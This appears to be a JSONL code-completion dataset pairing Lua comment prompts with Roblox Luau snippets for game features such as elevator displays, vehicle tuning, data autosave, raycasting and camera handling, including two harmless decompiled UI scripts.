"\n\nThis.Parent.Parent.Parent.Parent:WaitForChild(\"Direction\", 120).Changed:connect(function(val)\n\tif val == 1 then\n\t\tThis.Frame.Direction.Text = \"\u25b2\"\n\t\trepeat\n\t\t\tfor i = 0.2, -0.8, -0.02 do\n\t\t\t\tThis.Frame.Direction.UIGradient.Offset = Vector2.new(0,i)\n\t\t\t\twait()\n\t\t\tend\n\t\tuntil This.Parent.Parent.Parent.Parent.Direction.Value ~= 1\n\telseif val == -1 then\n\t\tThis.Frame.Direction.Text = \"\u25bc\"\n\t\trepeat\n\t\t\tfor i = -0.8, 0.2, 0.02 do\n\t\t\t\tThis.Frame.Direction.UIGradient.Offset = Vector2.new(0,i)\n\t\t\t\twait()\n\t\t\tend\n\t\tuntil This.Parent.Parent.Parent.Parent.Direction.Value ~= -1\n\telse\n\t\tThis.Frame.Direction.Text = \"\"\n\tend\nend)"} +{"prompt": "--[[\nCreates a bridge.\n--]]", "completion": "\nreturn function(StartPos,EndPos,InnerSectionCount,Parent)\n\tlocal DistanceBetween = (EndPos - StartPos).magnitude\n\tlocal BridgeLength = math.ceil(DistanceBetween/8) * 8\n\tlocal CenterCF = CFrame.new(StartPos,EndPos) * CFrame.new(0,0,-DistanceBetween/2)\n\t\n\t--Create the container.\n\tlocal Container = Instance.new(\"Model\")\n\tContainer.Name = \"Bridge\"\n\tContainer.Parent = Parent\n\t\n\t--Create the spines.\n\tlocal Spines = {}\n\tlocal SpineCount = InnerSectionCount + 1\n\tfor i = 1,SpineCount do\n\t\tlocal Spine = Instance.new(\"Part\")\n\t\tSpine.BrickColor = BrickColor.new(\"Dark stone grey\")\n\t\tSpine.CFrame = CenterCF * CFrame.new(6 * ((-SpineCount/2) - 0.5 + i),0,0)\n\t\tSpine.Size = Vector3.new(2,1,BridgeLength - 2)\n\t\tSpine.Anchored = true\n\t\tSpine.Parent = Container\n\t\t\n\t\ttable.insert(Spines,Spine)\n\tend\n\t\n\t--Create the path parts.\n\tlocal RelativeOffsetStart = CFrame.new(0,1,-(BridgeLength/2) + 4)\n\tlocal BridgeSections = BridgeLength/8\n\tlocal Floors = {}\n\tlocal FloorCount = InnerSectionCount + 2\n\tfor i = 1,FloorCount do\n\t\tlocal RowSections = {}\n\t\ttable.insert(Floors,RowSections)\n\t\t\n\t\tfor j = 0,BridgeSections - 1 do\n\t\t\tlocal RelativeOffset = RelativeOffsetStart * CFrame.new(0,0,8 * j)\n\t\t\tlocal SectionCF = CenterCF * RelativeOffset\n\t\t\n\t\t\tlocal PathPart = Instance.new(\"Part\")\n\t\t\tPathPart.BrickColor = BrickColor.new(\"Medium stone grey\")\n\t\t\tPathPart.CFrame = SectionCF * CFrame.new(6 * ((-SpineCount/2) - 1 + i),0,0)\n\t\t\tPathPart.Size = Vector3.new(6,1,8)\n\t\t\tPathPart.Parent = Container\n\t\t\tif Spines[i - 1] then WeldBetween(Spines[i - 1],PathPart) end\n\t\t\tif Spines[i] then WeldBetween(Spines[i],PathPart) end\n\t\t\ttable.insert(RowSections,PathPart)\n\t\tend\n\tend\n\t\n\t--Create the sides.\n\tfor i = 0,BridgeSections - 1 do\n\t\tlocal RelativeOffset = RelativeOffsetStart * CFrame.new(0,0,8 * i)\n\t\tlocal SectionCF = CenterCF * RelativeOffset\n\t\t\n\t\t--Create the left side.\n\t\tlocal LeftSide = Instance.new(\"Part\")\n\t\tLeftSide.BrickColor = BrickColor.new(\"Medium stone grey\")\n\t\tLeftSide.CFrame = SectionCF * CFrame.new(-(6 * (FloorCount/2)) + 1,1.25,0)\n\t\tLeftSide.Size = Vector3.new(2,1.5,8)\n\t\tLeftSide.Parent = Container\n\t\tWeldBetween(LeftSide,Floors[1][i + 1])\n\t\t\n\t\tlocal LeftTop = Instance.new(\"Part\")\n\t\tLeftTop.BrickColor = BrickColor.new(\"Dark stone grey\")\n\t\tLeftTop.CFrame = SectionCF * CFrame.new(-(6 * (FloorCount/2)) + 1,2.5,0)\n\t\tLeftTop.Size = Vector3.new(2,1,8)\n\t\tLeftTop.Parent = Container\n\t\tWeldBetween(LeftSide,LeftTop)\n\t\t\n\t\t--Create the right side.\n\t\tlocal RightSide = Instance.new(\"Part\")\n\t\tRightSide.BrickColor = BrickColor.new(\"Medium stone grey\")\n\t\tRightSide.CFrame = SectionCF * CFrame.new((6 * (FloorCount/2)) - 1,1.25,0)\n\t\tRightSide.Size = Vector3.new(2,1.5,8)\n\t\tRightSide.Parent = Container\n\t\tWeldBetween(RightSide,Floors[#Floors][i + 1])\n\t\t\n\t\tlocal RightTop = Instance.new(\"Part\")\n\t\tRightTop.BrickColor = BrickColor.new(\"Dark stone grey\")\n\t\tRightTop.CFrame = SectionCF * CFrame.new((6 * (FloorCount/2)) - 1,2.5,0)\n\t\tRightTop.Size = Vector3.new(2,1,8)\n\t\tRightTop.Parent = Container\n\t\tWeldBetween(RightSide,RightTop)\n\tend\nend\n"} +{"prompt": "--fs.Reflectance = 0\n--bs.Reflectance = 0", "completion": "\nend\nif val1.Value > 120 and val1.Value <= 130 then\nch1m.MaxVelocity = 0.6+(val1.Value-120)*0.005\nch2m.MaxVelocity = 0.6+(val1.Value-120)*0.005\nch3m.MaxVelocity = 0.6+(val1.Value-120)*0.005\nch1.Transparency = 1\nch2.Transparency = 1\nch3.Transparency = 1\nfs.Transparency = 1-(val1.Value-120)*0.01\nbs.Transparency = 1-(val1.Value-120)*0.01"} +{"prompt": "-- Import relevant references", "completion": "\nSelection = Core.Selection;\nCreate = Core.Create;\nSupport = Core.Support;\nSecurity = Core.Security;\nSupport.ImportServices();\n"} +{"prompt": "--Aesthetics\t", "completion": "\nTune.SusVisible\t\t= false\t\t\t-- Spring Visible\nTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\nTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\nTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\nTune.SusColor\t\t= \"Really black\"\t-- Suspension Color [BrickColor]\nTune.SusCoilCount\t= 8\t\t\t-- Suspension Coil Count\nTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\nTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n"} +{"prompt": "-- Helper function to recursively set the collision group on an object and all of\n-- its children", "completion": "\nlocal function setCollisionGroupRecursive(object, group)\n\tif object:IsA(\"BasePart\") then\n\t\tPhysicsService:SetPartCollisionGroup(object, group)\n\tend\n\tfor _, child in ipairs(object:GetChildren()) do\n\t\tsetCollisionGroupRecursive(child, group)\n\tend\nend\n"} +{"prompt": "--[[\n\tReact does a lot of catching, retrying, and rethrowing errors that would\n\ttypically result in loss of meaningful stack information.\n\n\tWe use xpcall combined with this error function to capture and rethrow in a\n\tway that retains some stack information.\n]]", "completion": "\nlocal function describeError(e: string | Error): Error\n\tif typeof(e) == \"string\" then\n\t\tlocal _, endOfStackFrame = string.find(e, \":[%d]+: \")\n\t\tlocal message = if endOfStackFrame then string.sub(e, endOfStackFrame + 1) else e\n\n\t\tlocal err = LuauPolyfill.Error.new(message)\n\t\terr.stack = debug.traceback(nil, 2)\n\t\treturn err\n\tend\n\treturn e :: Error\nend\n"} +{"prompt": "--[[[Default Controls]]\n--Peripheral Deadzones", "completion": "\nTune.Peripherals = {\n\tMSteerWidth\t\t\t\t= 67\t\t,\t-- Mouse steering control width\t(0 - 100% of screen width)\n\tMSteerDZone\t\t\t\t= 10\t\t,\t-- Mouse steering deadzone (0 - 100%)\n\n\tControlLDZone\t\t\t= 5\t\t\t,\t-- Controller steering L-deadzone (0 - 100%)\n\tControlRDZone\t\t\t= 5\t\t\t,\t-- Controller steering R-deadzone (0 - 100%)\n}\n"} +{"prompt": "-- Auto saving and issue queue managing:", "completion": "\nRunService.Heartbeat:Connect(function()\n\t-- 1) Auto saving: --\n\tlocal auto_save_list_length = #AutoSaveList\n\tif auto_save_list_length > 0 then\n\t\tlocal auto_save_index_speed = SETTINGS.AutoSaveProfiles / auto_save_list_length\n\t\tlocal os_clock = os.clock()\n\t\twhile os_clock - LastAutoSave > auto_save_index_speed do\n\t\t\tLastAutoSave = LastAutoSave + auto_save_index_speed\n\t\t\tlocal profile = AutoSaveList[AutoSaveIndex]\n\t\t\tif os_clock - profile._load_timestamp < SETTINGS.AutoSaveProfiles then\n\t\t\t\t-- This profile is freshly loaded - auto-saving immediately after loading will cause a warning in the log:\n\t\t\t\tprofile = nil\n\t\t\t\tfor _ = 1, auto_save_list_length - 1 do\n\t\t\t\t\t-- Move auto save index to the right:\n\t\t\t\t\tAutoSaveIndex = AutoSaveIndex + 1\n\t\t\t\t\tif AutoSaveIndex > auto_save_list_length then\n\t\t\t\t\t\tAutoSaveIndex = 1\n\t\t\t\t\tend\n\t\t\t\t\tprofile = AutoSaveList[AutoSaveIndex]\n\t\t\t\t\tif os_clock - profile._load_timestamp >= SETTINGS.AutoSaveProfiles then\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tprofile = nil\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- Move auto save index to the right:\n\t\t\tAutoSaveIndex = AutoSaveIndex + 1\n\t\t\tif AutoSaveIndex > auto_save_list_length then\n\t\t\t\tAutoSaveIndex = 1\n\t\t\tend\n\t\t\t-- Perform save call:\n\t\t\tif profile ~= nil then\n\t\t\t\ttask.spawn(SaveProfileAsync, profile) -- Auto save profile in new thread\n\t\t\tend\n\t\tend\n\tend\n\t-- 2) Issue queue: --\n\t-- Critical state handling:\n\tif ProfileService.CriticalState == false then\n\t\tif #IssueQueue >= SETTINGS.IssueCountForCriticalState then\n\t\t\tProfileService.CriticalState = true\n\t\t\tProfileService.CriticalStateSignal:Fire(true)\n\t\t\tCriticalStateStart = os.clock()\n\t\t\twarn(\"[ProfileService]: Entered critical state\")\n\t\tend\n\telse\n\t\tif #IssueQueue >= SETTINGS.IssueCountForCriticalState then\n\t\t\tCriticalStateStart = os.clock()\n\t\telseif os.clock() - CriticalStateStart > SETTINGS.CriticalStateLast then\n\t\t\tProfileService.CriticalState = false\n\t\t\tProfileService.CriticalStateSignal:Fire(false)\n\t\t\twarn(\"[ProfileService]: Critical state ended\")\n\t\tend\n\tend\n\t-- Issue queue:\n\twhile true do\n\t\tlocal issue_time = IssueQueue[1]\n\t\tif issue_time == nil then\n\t\t\tbreak\n\t\telseif os.clock() - issue_time > SETTINGS.IssueLast then\n\t\t\ttable.remove(IssueQueue, 1)\n\t\telse\n\t\t\tbreak\n\t\tend\n\tend\nend)\n"} +{"prompt": "--------------------------------------------------------------------------", "completion": "\n\nlocal _WHEELTUNE = {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t--[[\t\n\t\t\tSS6 Presets\n\t[Eco]\t\t\n\t\tWearSpeed = 1,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Road]\t\t\n\t\tWearSpeed = 2,\n\t\tTargetFriction = .7,\n\t\tMinFriction = .1,\n\t[Sport]\t\t\n\t\tWearSpeed = 3,\n\t\tTargetFriction = .79,\n\t\tMinFriction = .1,\t\t\t\t\t\t\t\t\t\t\t]]\n\n\tTireWearOn \t\t= true\t,\n\t\n\t--Friction and Wear\n\tFWearSpeed\t\t= 2.0\t,\n\tFTargetFriction\t= 1.6\t,\n\tFMinFriction \t= 1\t,\n\t\n\tRWearSpeed\t\t= 4.0\t,\n\tRTargetFriction\t= 2.5\t,\n\tRMinFriction\t= 1\t,\n\t\n\t--Tire Slip\n\tTCSOffRatio\t\t= 1/3\t,\n\tWheelLockRatio\t= 1/2\t,\t--SS6 Default = 1/4\n\tWheelspinRatio\t= 1/1.1\t,\t--SS6 Default = 1/1.2\n\t\n\t--Wheel Properties\n\tFFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRFrictionWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyFrWeight\t= 10\t,\n\tRLgcyFrWeight\t= 10\t,\n\t\n\tFElasticity\t\t= 0\t\t,\t--SS6 Default = .5\n\tRElasticity\t\t= 0\t\t,\t--SS6 Default = .5\n\tFLgcyElasticity\t= 0\t\t,\n\tRLgcyElasticity\t= 0\t\t,\n\t\n\tFElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tRElastWeight\t= 1\t\t,\t--SS6 Default = 1\n\tFLgcyElWeight\t= 10\t,\n\tRLgcyElWeight\t= 10\t,\n\t\n\t--Wear Regen\n\tRegenSpeed\t\t= 9.8\t\t--SS6 Default = 3.6\n}\n"} +{"prompt": "-------------------------", "completion": "\nwhile true do\nPuerta1.BodyVelocity.velocity = Vector3.new(0, 0, 0.5)\nPuerta2.BodyVelocity.velocity = Vector3.new(0, 0, -0.5)\nscript.Parent.Bloqueador.CanCollide = true\nwait(6)\nPuerta1.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nPuerta2.BodyVelocity.velocity = Vector3.new(0, 0, 0)\nbreak\nend\n"} +{"prompt": "-- This value is exposed as a private value so that the test code can stay in\n-- sync with what event we listen to for dispatching the Changed event.\n-- It may not be Heartbeat in the future.", "completion": "\nStore._flushEvent = RunService.Heartbeat\n\nStore.__index = Store\n"} +{"prompt": "--[[**\n\tensures Roblox ColorSequenceKeypoint type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.ColorSequenceKeypoint = primitive(\"ColorSequenceKeypoint\")\n"} +{"prompt": "-- Variables", "completion": "\n\nlocal gui = script.Parent\nlocal player = game.Players.LocalPlayer\nlocal character = player.Character\nlocal humanoid = character.Humanoid\nlocal bfCreateIndicator = gui.CreateIndicator\n"} +{"prompt": "--[=[\n\t@deprecated v1.3.0 -- Use `Signal:Once` instead.\n\t@param fn ConnectionFn\n\t@return SignalConnection\n]=]", "completion": "\nfunction Signal:ConnectOnce(fn)\n\treturn self:Once(fn)\nend\n"} +{"prompt": "--Set up controller events.", "completion": "\nUserInputService.GamepadConnected:Connect(UpdateActiveButton)\nUserInputService.GamepadDisconnected:Connect(UpdateActiveButton)\nGuiService.Changed:Connect(UpdateActiveButton)\n\nreturn ControllerGroups\n"} +{"prompt": "-- Denotes children instances in an instance or component's property table.", "completion": "\nexport type SpecialKey = {\n\ttype: string, -- replace with \"SpecialKey\" when Luau supports singleton types\n\tkind: string,\n\tstage: string, -- replace with \"self\" | \"descendants\" | \"ancestor\" | \"observer\" when Luau supports singleton types\n\tapply: (SpecialKey, value: any, applyTo: Instance, cleanupTasks: {Task}) -> ()\n}\n"} +{"prompt": "--[ Get Items ]--", "completion": "\nlocal HoldKey = script:WaitForChild(\"HoldKey\")\n\nlocal Humanoid = Avatar:WaitForChild(\"Humanoid\")\nlocal Torso = Avatar:WaitForChild(\"Torso\")\nlocal RH = Torso:WaitForChild(\"Right Hip\")\nlocal LH = Torso:WaitForChild(\"Left Hip\")\n\nlocal RL = Avatar:WaitForChild(\"Right Leg\")\nlocal LL = Avatar:WaitForChild(\"Left Leg\")\n\nlocal RJ = Avatar:WaitForChild(\"HumanoidRootPart\"):WaitForChild(\"RootJoint\")\n"} +{"prompt": "--Input Mode ", "completion": "\nif UIS.GamepadEnabled then\n\tInput.InputMode = \"Gamepad\"\nelseif UIS.TouchEnabled then\n\tInput.InputMode = \"Touch\"\n\tspawn(RunTouchControls)\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nreturn function(p1, p2, ...)\n\tlocal v1 = \"\";\n\n\t\tfor v2, v3 in ipairs({ ... }) do\n\t\tif not v2 then\n\t\t\tbreak;\n\t\tend;\n\t\tif v1 == \"\" then\n\t\t\tv1 = \"+ \" .. v3;\n\t\telse\n\t\t\tv1 = v1 .. \"\\n+ \" .. v3;\n\t\tend;\t\n\tend;\n\tp1.desc.Text = v1;\nend;\n"} +{"prompt": "------------------------------------------------------------------------------\n--------------------[ FUNCTIONS ]---------------------------------------------\n------------------------------------------------------------------------------", "completion": "\n\nlocal CreateShockwave = function(Center, Radius)\n\tlocal Shockwave = Instance.new(\"Part\")\n\tShockwave.BrickColor = S.ShockwaveColor\n\tShockwave.Material = Enum.Material.SmoothPlastic\n\tShockwave.Name = \"Shockwave\"\n\tShockwave.Anchored = true\n\tShockwave.CanCollide = false\n\tShockwave.FormFactor = Enum.FormFactor.Symmetric\n\tShockwave.Size = VEC3(1, 1, 1)\n\tShockwave.BottomSurface = Enum.SurfaceType.Smooth\n\tShockwave.TopSurface = Enum.SurfaceType.Smooth\n\tlocal Mesh = Instance.new(\"SpecialMesh\")\n\tMesh.MeshType = Enum.MeshType.Sphere\n\tMesh.Scale = VEC3()\n\tMesh.Parent = Shockwave\n\tShockwave.Parent = Main.Parent\n\tShockwave.CFrame = CF(Center)\n\tspawn(function()\n\t\tfor i = 0, 1, 1 / (30 * S.ShockwaveDuration) do\n\t\t\tlocal Scale = 2 * Radius * i\n\t\t\tMesh.Scale = VEC3(Scale, Scale, Scale)\n\t\t\tShockwave.Transparency = i\n\t\t\twait()\n\t\tend\n\t\tShockwave:Destroy()\n\tend)\nend\n\nlocal AdvRayCast = function(Origin, Direction, Dist, CustomIgnore)\n\tlocal NewIgnore = (CustomIgnore and CustomIgnore or Ignore)\n\tlocal NewRay = Ray.new(Origin, Direction * (Dist > 999 and 999 or Dist))\n\tlocal HitObj, HitPos = game.Workspace:FindPartOnRayWithIgnoreList(NewRay, NewIgnore)\n\tlocal LastPos = HitPos\n\tlocal FinalHitObj, FinalHitPos = nil, nil\n\tlocal RepTimes = math.floor(Dist / 999)\n\tif (not HitObj) and (Dist > 999) then\n\t\tfor i = 0, RepTimes do\n\t\t\tlocal NewDist = (i == RepTimes and (Dist - (LastPos - Origin).magnitude) or 999)\n\t\t\tlocal Ray2 = Ray.new(LastPos, Direction * NewDist)\n\t\t\tlocal HitObj2, HitPos2 = game.Workspace:FindPartOnRayWithIgnoreList(Ray2, NewIgnore)\n\t\t\tif i ~= RepTimes then\n\t\t\t\tif HitObj2 then\n\t\t\t\t\tFinalHitObj, FinalHitPos = HitObj2, HitPos2\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\telseif i == RepTimes then\n\t\t\t\tFinalHitObj, FinalHitPos = HitObj2, HitPos2\n\t\t\tend\n\t\t\tLastPos = HitPos2\n\t\tend\n\t\treturn FinalHitObj, FinalHitPos\n\telseif HitObj or (Dist <= 999) then\n\t\treturn HitObj, HitPos\n\tend\nend\n\nlocal FindFirstClass = function(Object, Class)\n\tlocal FoundObject = nil\n\tfor _, Obj in pairs(Object:GetChildren()) do\n\t\tif Obj.ClassName == Class then\n\t\t\tFoundObject = Obj\n\t\t\tbreak\n\t\tend\n\tend\n\treturn FoundObject\nend\n\nlocal IsEnemy = function(Human)\n\tlocal HitPlyr = game.Players:GetPlayerFromCharacter(Human.Parent)\n\tif (not HitPlyr) then return S.CanDamageNPCs end\n\treturn S.AllowFriendlyFire or (HitPlyr.TeamColor ~= Plyr.Value.TeamColor or HitPlyr.Neutral)\nend\n\nlocal IsIgnored = function(Obj)\n\tfor _,v in pairs(Ignore) do\n\t\tif Obj == v or Obj:IsDescendantOf(v) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nlocal MarkHit = function()\n\tspawn(function()\n\t\tlocal Gui_Clone = Plyr.Value:WaitForChild(\"PlayerGui\"):WaitForChild(\"Main_Gui\")\n\t\tlocal HitMarker = Gui_Clone:WaitForChild(\"HitMarker\")\n\t\t\n\t\tHitMarker.Visible = true\n\t\tlocal StartMark = tick()\n\t\tHitMarker.LastMark.Value = StartMark\n\t\t\n\t\twait(0.5)\n\t\t\n\t\tif HitMarker.LastMark.Value <= StartMark then\n\t\t\tHitMarker.Visible = false\n\t\tend\n\tend)\nend\n"} +{"prompt": "-- Radius around agents that will be queried", "completion": "\nlocal SENSE_RADIUS = 20\n"} +{"prompt": "-- you can use this script for a jeff shop or something but rn it just destroys it", "completion": "\n\nlocal Prox = script.Parent.ProximityPrompt\n\nProx.Triggered:Connect(function(Player)\n\t--game.ReplicatedStorage.(ITEM NAME).Parent = Player.Backpack\n\tscript.Parent.Parent:Destroy()\nend)\n"} +{"prompt": "--[[\n\tdeviation: In all of the following toThrow functions,\n\twe have checks to see if we captured an internal error.\n\tWe need to do this because we are returning an error/table\n\tevery time from our error handler but we don't always want to treat the\n\tresult as having thrown an Error. i.e. we don't want to treat error('simple')\n\tas error(Error('simple'))\n]]", "completion": "\n"} +{"prompt": "-- Local Functions", "completion": "\nlocal function waitForUpdate(stringLabel)\n\tif stringLabel._updating then\n\t\trepeat wait() until not stringLabel._updating\n\t\t\n\t\twait()\n\tend\nend\n\nlocal function calculateLines(text, font, frameSize)\n\tlocal screenGui = Instance.new(\"ScreenGui\", game:GetService(\"StarterGui\"))\n\t\n\tlocal recursivelyCalculate = nil\n\trecursivelyCalculate = function(str, textSize, lines)\n\t\tlocal label = Instance.new(\"TextLabel\", screenGui)\n\t\tlabel.Size = UDim2.new(0, frameSize.X, 0, frameSize.Y)\n\t\tlabel.Font = font\n\t\tlabel.TextSize = textSize\n\t\tlabel.Text = str\n\t\t\n\t\tif not label.TextFits then\n\t\t\tlocal words = {}\n\t\t\tlocal newStr1 = \"\"\n\t\t\tlocal newStr2 = \"\"\n\t\t\t\n\t\t\tfor v in string.gmatch(str, \"%S+\") do\n\t\t\t\ttable.insert(words, v)\n\t\t\tend\n\t\t\t\n\t\t\tfor index, word in ipairs(words) do\n\t\t\t\tif index <= #words / 2 then\n\t\t\t\t\tnewStr1 = newStr1 .. word .. \" \"\n\t\t\t\telse\n\t\t\t\t\tnewStr2 = newStr2 .. word .. \" \"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\trecursivelyCalculate(newStr1:sub(1, -2), textSize / 2, lines)\n\t\t\trecursivelyCalculate(newStr2:sub(1, -2), textSize / 2, lines)\n\t\telse\n\t\t\ttable.insert(lines, str)\n\t\tend\n\t\t\n\t\tlabel:Destroy()\n\t\t\n\t\treturn textSize / #lines\n\tend\n\t\n\tlocal lines = {}\n\tlocal textSize = recursivelyCalculate(text, frameSize.Y, lines)\n\t\n\tscreenGui:Destroy(text)\n\t\n\treturn lines, textSize\nend\n"} +{"prompt": "--[ LOCALS ]--", "completion": "\n\nlocal Command = \"/headless\" or \"/headless \"\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\n\nLift:WaitForChild(\"Velocity\").Changed:connect(function(vel)\n if vel > 0 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Lime green\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Lime green\")\n\t\tThis.Display.ARW1.U3.BrickColor = BrickColor.new(\"Lime green\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D3.BrickColor = BrickColor.new(\"Really black\")\n elseif vel < 0 then\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U3.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Lime green\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Lime green\")\n\t\tThis.Display.ARW1.D3.BrickColor = BrickColor.new(\"Lime green\")\n\telse\n\t\tThis.Display.ARW1.U1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.U3.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D1.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D2.BrickColor = BrickColor.new(\"Really black\")\n\t\tThis.Display.ARW1.D3.BrickColor = BrickColor.new(\"Really black\")\n end\nend)\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nlocal v4\nlocal v8\nlocal u1 = nil;\nlocal function v2()\n\tlocal l__MouseEnabled__3 = v1.UserInputService.MouseEnabled;\n\t v4 = false;\n\tlocal v5 = false;\n\tlocal v6 = false;\n\tlocal v7 = false;\n\tif v1.UserInputService.GamepadEnabled then\n\t\tv7 = true;\n\telseif v1.GuiService:IsTenFootInterface() then\n\t\tif not l__MouseEnabled__3 then\n\t\t\tv7 = true;\n\t\telseif v1.UserInputService.VREnabled then\n\t\t\tv4 = true;\n\t\t\tv6 = v1.Settings.SupportsVR or false;\n\t\telseif v1.UserInputService.TouchEnabled then\n\t\t\tif not l__MouseEnabled__3 then\n\t\t\t\tv5 = true;\n\t\t\telseif not v1.UserInputService.GyroscopeEnabled then\n\t\t\t\tif v1.UserInputService.AccelerometerEnabled then\n\t\t\t\t\tv5 = true;\n\t\t\t\telse\n\t\t\t\t\tv6 = true;\n\t\t\t\tend;\n\t\t\telse\n\t\t\t\tv5 = true;\n\t\t\tend;\n\t\telseif not v1.UserInputService.GyroscopeEnabled then\n\t\t\tif v1.UserInputService.AccelerometerEnabled then\n\t\t\t\tv5 = true;\n\t\t\telse\n\t\t\t\tv6 = true;\n\t\t\tend;\n\t\telse\n\t\t\tv5 = true;\n\t\tend;\n\telseif v1.UserInputService.VREnabled then\n\t\tv4 = true;\n\t\tv6 = v1.Settings.SupportsVR or false;\n\telseif v1.UserInputService.TouchEnabled then\n\t\tif not l__MouseEnabled__3 then\n\t\t\tv5 = true;\n\t\telseif not v1.UserInputService.GyroscopeEnabled then\n\t\t\tif v1.UserInputService.AccelerometerEnabled then\n\t\t\t\tv5 = true;\n\t\t\telse\n\t\t\t\tv6 = true;\n\t\t\tend;\n\t\telse\n\t\t\tv5 = true;\n\t\tend;\n\telseif not v1.UserInputService.GyroscopeEnabled then\n\t\tif v1.UserInputService.AccelerometerEnabled then\n\t\t\tv5 = true;\n\t\telse\n\t\t\tv6 = true;\n\t\tend;\n\telse\n\t\tv5 = true;\n\tend;\n\tif v6 then\n\t\t v8 = \"Desktop\";\n\telseif v5 then\n\t\tv8 = \"Mobile\";\n\telseif v7 then\n\t\tv8 = \"Console\";\n\telse\n\t\tv8 = v4 \n\tend;\n\tv1.Variables.Desktop = v6;\n\tv1.Variables.Mobile = v5;\n\tv1.Variables.Console = v7;\n\tv1.Variables.VR = v4;\n\tif v8 ~= u1 then\n\t\tu1 = v8;\n\t\tv1.Signal.Fire(\"Changed Platform\", v8);\n\tend;\nend;\nv1.UserInputService.GamepadConnected:Connect(v2);\nv1.UserInputService.GamepadDisconnected:Connect(v2);\ntask.defer(function()\n\twhile true do\n\t\tv2();\n\t\ttask.wait(3);\t\n\tend;\nend);\n\n"} +{"prompt": "----------------------------------------------------------------------\n--\n-- HERE BE DRAGONS!\n--\n-- You can hack together your own scripts using the objects\n-- in here, but this is all highly experimental and *WILL BREAK*\n-- in a future release. If that bothers you, look away...\n--\n-- T\n--\n-----------------------------------------------------------------------", "completion": "\n\nlocal Board = script.Parent\nlocal Controller\nlocal Gyro\nlocal CoastingAnim\nlocal KickAnim\nlocal LeftAnim\nlocal RightAnim\nlocal OllieAnim\n"} +{"prompt": "--SFX ID to Sound object", "completion": "\nlocal Sounds = {}\nlocal SoundService = game:GetService(\"SoundService\")\nlocal soundEventFolderName = \"DefaultSoundEvents\"\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal AddCharacterLoadedEvent = nil\nlocal RemoveCharacterEvent = nil\nlocal soundEventFolder = ReplicatedStorage:FindFirstChild(soundEventFolderName)\n\nif not soundEventFolder then\n soundEventFolder = Instance.new(\"Folder\", ReplicatedStorage)\n soundEventFolder.Name = soundEventFolderName\n soundEventFolder.Archivable = false\nend\n"} +{"prompt": "-- APIs", "completion": "\nlocal EventSequencer = require(ReplicatedStorage:WaitForChild(\"EventSequencer\"))\nlocal GetCurrentSceneEnvironment = EventSequencer.getCurrentSceneEnvironment\nlocal GetCurrentServerEnvironmentFromClient = EventSequencer.getCurrentServerEnvironmentFromClient\nlocal Schema = EventSequencer.createSchema()\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(Lift.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,7 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(\"Institutional white\") or BrickColor.new(\"Cyan\"))\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Note: Called whenever workspace.CurrentCamera changes, but also on initialization of this script", "completion": "\nfunction CameraModule:OnCurrentCameraChanged()\n\tlocal currentCamera = game.Workspace.CurrentCamera\n\tif not currentCamera then return 